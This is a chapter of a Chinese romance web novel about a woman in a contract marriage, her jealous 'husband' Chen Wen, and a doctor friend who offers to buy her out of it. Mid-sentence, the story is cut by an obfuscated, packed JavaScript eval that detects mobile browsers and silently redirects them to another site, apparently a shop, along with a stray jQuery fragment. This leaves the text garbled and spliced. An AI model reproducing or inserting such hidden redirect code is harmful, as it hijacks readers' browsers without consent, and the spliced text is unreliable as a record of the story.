她缓缓扭过头,只见陈闻提着饭盒懒洋洋靠在办公室栏杆上,冲她得意扬眉。
林盼楠嘴角挂起一丝笑意,“你怎么来了?”
陈闻把饭盒放她桌上,“饭都做了,没人吃可惜了。”
“你要不要吃?”陈闻把饭盒揭开,诱人的饭菜香在办公室飘开。
“要!”
一个金色的脑袋蹿得从她眼前飞过去,蒋征序傻呵呵地就那样顶着那张跟个魅魔一样的脸,朝邱漫安飞奔过去。
真的,好像一条撒欢的金毛。
邱漫安在蒋征序奔向他之前,略带嫌弃地伸出手抵在他坚硬的腹肌上,“你来干嘛?”
“陈闻来看他老婆,我也来看看我。”老婆两个字还没说出口就被邱漫安狠狠一瞪。
蒋征序“呵呵”一笑,把怀里的粉色helloKitty袋子塞给邱漫安,“看看你。喏,尝尝本大少的手艺。”
“你做的?”
“对啊,你尝尝。”蒋征序用力点点头,眼里都是期待像星星。
邱漫安接过来,里面是个透明的保温盒装着非常简单的蛋炒饭,蛋炒饭上面盖了一个不像爱心的爱心荷包蛋,边缘甚至还有点糊。
抬眼就对上蒋征序期许的眼神,她刚想说自己点了沙拉的话忽然有点说不口,话到嘴边成了,“你做都做了我就勉为其难尝一下。”
“怎么样怎么样?”
邱漫安砸了下嘴,咸得发苦,她冷脸回道:“蒋征序你这手艺,还是留给你自己吃吧,我无福消受。”
她起身去拿外卖,想想还是不值得为了这男人委屈自己的胃。
蒋征序丝毫不介意,拿过勺子送了口进自己嘴里,“呸呸真的好难吃,那我下次注意嘛?诶,安安,你干嘛去,等等我。”
邱漫安没回话脚步却放慢了些。
林盼楠从她这个角度刚好看到邱漫安转瞬即逝的笑容,蒋征序屁颠屁颠追着邱漫安出去了。
切,还跟她说讨厌蒋征序,根本都是骗人的嘛。。
办公室只剩下林盼楠和陈闻两个人,陈闻不知道什么时候侧身到了她耳边,温热的呼吸喷过来,“还是我靠谱吧?”
林盼楠耳根一热,“是,你最靠谱,你是最靠谱的……”
“最靠谱的什么?”
“最靠谱的……”林盼楠顿了顿,陈闻也不急弯着腰把视线跟坐着的林盼楠一个水平线,那样好看的一张脸就认认真真的看着她,看得林盼楠脸红心跳。
“最靠谱的老板。”说完她赶紧低下头,小口喝起碗里的番茄牛肉粥。
陈闻瞧着红了半边脸的林盼楠,一下生了逗逗她的心思,手肘一弯顺势就蹲下,爬在林盼楠办公桌上,从下往上盯住林盼楠,“只能是老板吗?”
林盼楠脸更红了,空间里弥漫着少女的粉红泡泡,手机却不合时宜地响了。
泡泡应声而破。
陈闻轻啧了声,看见屏幕上跳动的名字,又啧了声,比刚那声大十倍。
林盼楠下意识看了一眼陈闻,这男人变脸跟变天一样,嘴角已经耷拉了下来。
她按下接通键,“喂?嘉远哥?”
电话那头传来许嘉远温和的嗓音:“楠楠,没打扰你吧?今天本来打算去看你,住院部的护士跟我说你昨天就出院了,我这会刚下班,你发烧刚好,要不要一起去吃个宵夜?我知道一家药膳,炖汤都是需要提前预定的。”
陈闻眉头几不可察地蹙起,手搭在林盼楠的椅背上,从后看就像把林盼楠牢牢箍在怀里,两人头靠着头,亲昵得很,陈闻今天穿着件黑色衬衣宽肩窄腰,几乎完全将林盼楠挡住。
蒋征序一脚踏入一部的大门,看见眼前这画面只能紧急刹车,拉住邱漫安一起撤退。
虽然代价是被邱漫安狠狠踩了一脚。
林盼楠捂住话筒,小声解释:“不用了,嘉远哥我吃过了。”
许嘉远依然温声细语在说这家药膳的好处。
陈闻彻底没了耐心,扬声学许嘉远喊林盼楠的名字道:“楠~楠~,你赶紧喝口汤,你上次不是说喜欢这个虫草乌鸡汤吗?等下都冷了。”
这次电话那头没出声了,沉默了一瞬,随即语气如常笑道:“看来楠楠被照顾的很好呀,那我就不打扰你了,注意休息。还有楠楠的这位家属,贫血要多吃红肉,鸡肉补不了什么铁。”
“天上飞的海里游的地上走的,我都给她做了个遍,怎么,许医生您打电话就能填饱她肚子了?”陈闻冷笑反击。
许嘉远还想说什么,林盼楠以迅雷不及掩耳之势说完拜拜,掐断了这场没有硝烟的战争。
这一个两个都是疯了吗?挂断电话林盼楠觉得还有点发烫。
陈闻却像个没事人一样,将汤推到她面前,语气发酸,“许医生还挺关心你的。”
林盼楠舀了一勺热汤,热气氤氲中,她小声回了一句,“比不上陈老板,又是做午饭又是送晚饭的。”
陈闻愣了一秒,随即低低地笑起来,声音愉悦而磁性,他凑近了些也小声回复,“那当然,毕竟名分不同。”
林盼楠往手里送的汤顿住,但也没说什么。
确实不同,一个是老板,一个是像哥哥一样的好朋友。
林盼楠累得不行到家倒头就睡,闹钟都忘了开结果就是第二天早饭没来得及吃,中饭也没带就火急火燎赶到公司打卡。
在工位上检查了遍自己的初稿,发送给客户经理胡姐让她发送给米味的甲方。
这个事情做完,也算是心里的一块大石头落了地。
邱漫安一大早也把初稿发出去了这会神清气爽,给林盼楠投喂了一堆前几天跟某人去进口超市买的糖果和巧克力。
林盼楠一开始有点不好意思,想拒绝来着。
被冰山美人一个眼神瞪回去了,只好全部笑纳进自己的办公桌抽屉里。
身后传来熙熙攘攘的动静,邱漫安脸上出现了点震惊,“喂,林盼楠,你看那是不是你的医生哥哥?”
林盼楠啊了一声,转头果然在一众穿白大褂的医生里看见了许嘉远的脸。
“嘉远哥?他怎么来了。”
“林盼楠,你做方案做傻了?今天体检,你不会这都忘了吧?”
邱漫安摇摇头,把从包里带的三明治掏出来给林盼楠。
“不过许嘉远真的蛮厉害,二十六岁就从哈佛医学院博士毕业,听说那边高薪留他不愿意,一门心思要回国,到北城人民医院也是从主治医师做起,一年前他在加州大学旧金山分校的“记忆与衰老中心”跟他当时的导师研究的针对阿尔茨海默病的特效药进入了临床试验阶段,再回国这身价水涨船高,二十八岁就破格成为了北城人民医院有史以来最年轻的副主任医师。”
她听得一愣一愣的,原来嘉远哥这么厉害。
“你怎么知道?”
邱漫安一笔带过,“我爸当时老神神叨叨觉得自己得了阿尔茨海默病,当时北城人民医院神经内科的主任在国外参加一个学术论坛,挂的许嘉远的号看的。”
“他那么年轻,我就去查了下他简历,没想到那履历简直还真是金子镶钻石边。”
“那叔叔没事吧?”林盼楠担心问道。
邱漫安无奈:“全身检查都做了,什么事也没有。更年期。”
说完邱漫安又瞟了眼许嘉远黏在林盼楠身上的目光,嘴角一咧笑了,陈闻你情敌有点强啊。
体检比林盼楠想象中的快多了,许嘉远一早上忙忙碌碌也没来得及跟她说上几句话。
当然体检的事情没那么忙碌,是不停有别的部门的女同事来要他的联系方式。
一开始许嘉远还笑着耐心解释工作不方便加联系方式,后面人实在太多了,他的借口变成了离异带两娃。
许嘉远把身边的人打发完赶紧把白大褂脱下来,乘其不备轻敲了下在看热闹的林盼楠头,“楠楠,你再笑嘴要咧到后嘴根了。”
林盼楠捂住嘴,“嘉远哥,你还真是很受欢迎啊。”
“不过,你这个级别还要来参加这种外出体检吗?”
许嘉远叹了口气,笑笑:“按道理不用的,体检中心那边缺人被拉过去当壮丁了,下次我可不来了。”
昨天去体检中心主任那有点事,扫过桌上的体检表,发现表头是“美页”广告设计部,想着是林盼楠的公司许嘉远就留意多看了一眼,还真让他看见了林盼楠的名字。
正巧今天休息,求了体检主任半天才把他名字加上。
体检主任打趣他:“小许你青年才俊这么上赶着跟我们去体检,心上人在啊?”
许嘉远笑着没否认。
许嘉远看了下手表,“你们中午什么时候下班?要不要一起吃个午饭?”
刚忙完米味的事情,中午也可以准点下班,想来也拒绝了许嘉远太多次,林盼楠没多想就答应了。
许嘉远定的餐厅就在美页公司后面的一家法式餐厅,简约又很有格调。
林盼楠看了眼菜单,还好,比上次的鑫荣记便宜点。
她负担得起。
许嘉远把菜单给她,让她来点,她又把菜单递回去,还是许嘉远点的菜。
等菜的间隙,许嘉远双手交叉撑在桌面上,身体微微前倾,“楠楠,你是不是忘了什么?”
“啊?什么?”林盼楠知道他说的是什么,还不就是上次陈闻那个捣蛋鬼拿出来的结婚证,下意识装糊涂。
许嘉远声音舒缓,“或许是你这几年过得怎么样?或者你愿意的话也可以说说上次要解释的,你结婚的事情?”
林盼楠手指搓起桌布,岔开话题:“我过得很好啊,你呢嘉远哥?”
许嘉远颔首,嘴边依然挂着笑,“我也挺好的。”
然后是沉默。
林盼楠现在对自己的记忆无语得很,手机这么好缓解尴尬的东西,放在办公桌上了。
许嘉远喝了口咖啡,修长的手指轻叩桌面,打破沉寂,“那说说我们楠楠,怎么结婚了?我去年回南湾叔叔阿姨还问我有没有身边的好男人,介绍给我们楠楠。”
林盼楠愣住,嘉远哥原来真的回去过南湾问她的情况。
想起去年过年王爱娣给她打完电话忽然提到许嘉远的名字,问她跟人家还有没有联系,说人家一表人材现在,说她脑子蠢。这么好的男人不知道抓住,她还以为是她妈又在胡诌,毕竟她妈从她二十一岁以后就每次打电话都要催婚。
理由都一样,我在你这个年纪,你都三岁了。
你还不嫁人,到时候谁要你?
你年纪大了,不年轻了嫁不出去了。
她没理,左耳朵进右耳朵出。
嫁得出去又怎么样,嫁不出去又怎么样。
她的命运和未来,才不要寄托在那浮萍一般的婚姻上。
“嘉远哥,你还回南湾了啊。”林盼楠回过神,语气有点干涩。
许嘉远淡淡笑着,“是呀,可惜没遇到你,阿姨这段时间还打电话跟我抱怨,你不谈恋爱也不说结婚的事情,怎么忽然结婚了?”
他现在有点后悔。
后悔当时在南湾村就应该问林盼楠妈妈要上她的电话和联系方式。
那结婚证的日期,不过也就是一个月前的事。
林盼楠心咯噔一下,抓住了关键词,这段时间还给他打电话抱怨。
“我妈经常跟你联系吗?”
许嘉远回:“也没有,就一个月打一两次问下我最近怎么样,问下身边有没有好男人介绍给你。你放心,我知道你不太想跟家里联系,没说我们遇见的事情。”
她松了口气,手上还是不停转动着水杯,许嘉远对她来说,确实是很好的朋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646142|186141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
友,也是很好的哥哥。
犹豫了下,索性还是摊牌了,把自己跟陈闻的交易告诉了他。
许嘉远坐在对面半天没缓过来,“楠楠,你学会开冷笑话了?”
“不是,没有开玩笑,当时三万块钱对我来说,很重要我也确实拿不出来。”
林盼楠低头看着自己愈合了大部的冻疮,“嘉远哥,你可能觉得匪夷所思,但这已经是我当时能想出最好的办法了。不管你怎么想,我当时是真的很缺钱,你觉得我物质也好,觉得我怎么样都可以,还麻烦你跟我妈那边保密。”
“六十万。”许嘉远声音沉下来。
林盼楠听得一头雾水:“什么?”
许嘉远语气急切又真诚:“楠楠,我不觉得你物质,我觉得你很好,但是结婚这种事情不是儿戏,他给你三十万,我给你六十万。无偿给你的,你如果是受到什么无法抗拒的理由跟他结婚,我现在就把钱给你,你可以跟他离婚。”
一股热流猝不及防地涌上林盼楠的心头,鼻尖发酸,许嘉远果然还是记忆里的许嘉远,总是这么好。
“嘉远哥,我很感谢你,但你不用可怜我,我不需要你的钱,我跟他也只是形式上结婚,没有其他,三个月一到我就可以提出离婚,我没有办法心安理得接受你的钱,还是这么大一笔钱。”
而且陈闻做饭实在好吃,现在离婚感觉很亏啊,这个念头不合时宜地冒出来,她自己都吓了一跳。
许嘉远抓着叉子的手攥紧又放松,脸上维持着笑容,心里却翻江倒海,五味杂陈。
最终还是妥协说道,“好。”
送走许嘉远,林盼楠觉得浑身轻松,心情好得哼起了歌。
好心情持续到走进美页一部的大门,前台上放着打包好的饭盒。
琳达看见林盼楠回来才说道,“欸?楠楠,我刚在楼下遇到个小女孩,说是给你送饭的,是你家里人?”
“?”
林盼楠跑回工位打开手机,上面有几条陈闻的消息。
陈闻【你是猪吗?早饭没时间吃,午饭也不带?】
陈闻【我今天中午没事,给你送过来?】
陈闻【噢,忘了,不让你同事看见,我就到楼下,找了个小女孩送上去。】
最后两条消息是二十分钟前,许嘉远送她到美页公司楼下,还碰到刚买完咖啡上来的琳达姐,许嘉远那好性格还好巧不巧跟琳达姐也打了个招呼。
陈闻【哦,我不能见人,他就可以?】
陈闻【你也吃饱了,不想吃可以丢了。】
林盼楠脑袋空空如也,只有两个字飘过。
完了。
在工位上如坐针毡的度过下午的三个半小时,六点半准时冲出公司大门。
回到家门口,她心吊到了嗓子眼里。
不对,你怕什么?林盼楠,你又没干什么对不起他的事,只是跟朋友吃了饭而已。
嗯!只是跟朋友吃了个饭而已。
林盼楠给自己打完气,进门。
陈闻居然在家,在厨房背对着她不知道在捣鼓什么,在厨房里把锅碗瓢盆弄得叮当响。
他早就听见院子里的动静了,固执地不肯回头,心里像被拧麻花一样,纠到一起。
他才不跟她说话今天。
他在心里默数一分钟,两分钟,三分钟过去,心里一股委屈混着怒气上来,怎么还不找他说话?
一转头,视线就撞上了林盼楠的眼睛,他迅速冷下脸,面无表情转过去把水龙头开地哗啦作响。
林盼楠也在客厅酝酿了好久,鼓起勇气走到厨房,被陈闻的眼神吓了一跳,她又不是犯了什么天条。
“那个,今天嘉远哥来我们公司体检,然后忙到中午就一起吃了饭,手机忘在桌上了,就没回你。”
陈闻依旧充耳不闻,嘴角却偷偷上扬。
林盼楠又小声解释道:“我不是故意没回你的,下次我看见就回了。”
陈闻还是没回她。
她有点急了。
臭男人,真难哄,“你别生气了,今天中午你送的饭,我都吃完了。不信你看。”
林盼楠把饭盒举起来,果然干干净净。
陈闻瞥了一眼,其实心里的气早在她跟他说话的那一刻就烟消云散了,他鼻腔里发出个意味不明地“哼”声。
从厨房端出菜和蒸好的馒头,对着立在厨房的林盼楠硬邦邦喊了句,“知道了,来吃饭。”
林盼楠眼角弯弯,从厨房跟了出来。
没料想一头撞上了陈闻结实的后背,他系着围裙,身上还带着饭菜香,他转身低下头,用手指点点她的额头。
“吃了我做的饭以后就只能吃我做的饭,不准偷吃外面的饭。”
“好知道了,老板。”林盼楠应得快。
一顿饭吃完,陈闻在边上水槽洗着碗,水流声中,他漫不经心问道:“你喜欢他吗?”
“谁啊?”
“就你那个嘉远哥。”
林盼楠摇摇头,“不喜欢。”
她只把嘉远哥,当最好的朋友也是最好的哥哥。
“噢。”陈闻噢完心情明显变得明亮,搓碗都更有劲了。
不喜欢就好,不喜欢他没事,不喜欢别人就行。
林盼楠还在啃馒头,天天吃馒头,吃得她都要变馒头了。
“陈闻。”她忽然出声。
“怎么了?”
“家里没有米吗?”
陈闻瞥她一眼,“你说呢?”
“那你干嘛天天做馒头?”
陈闻答得理直气壮:“不是你爱吃吗?”
林盼楠被震惊:“我不爱吃啊。”
陈闻:“?”
“那你天天吃馒头?”
林盼楠无语:“我那是为了省事。”
“……”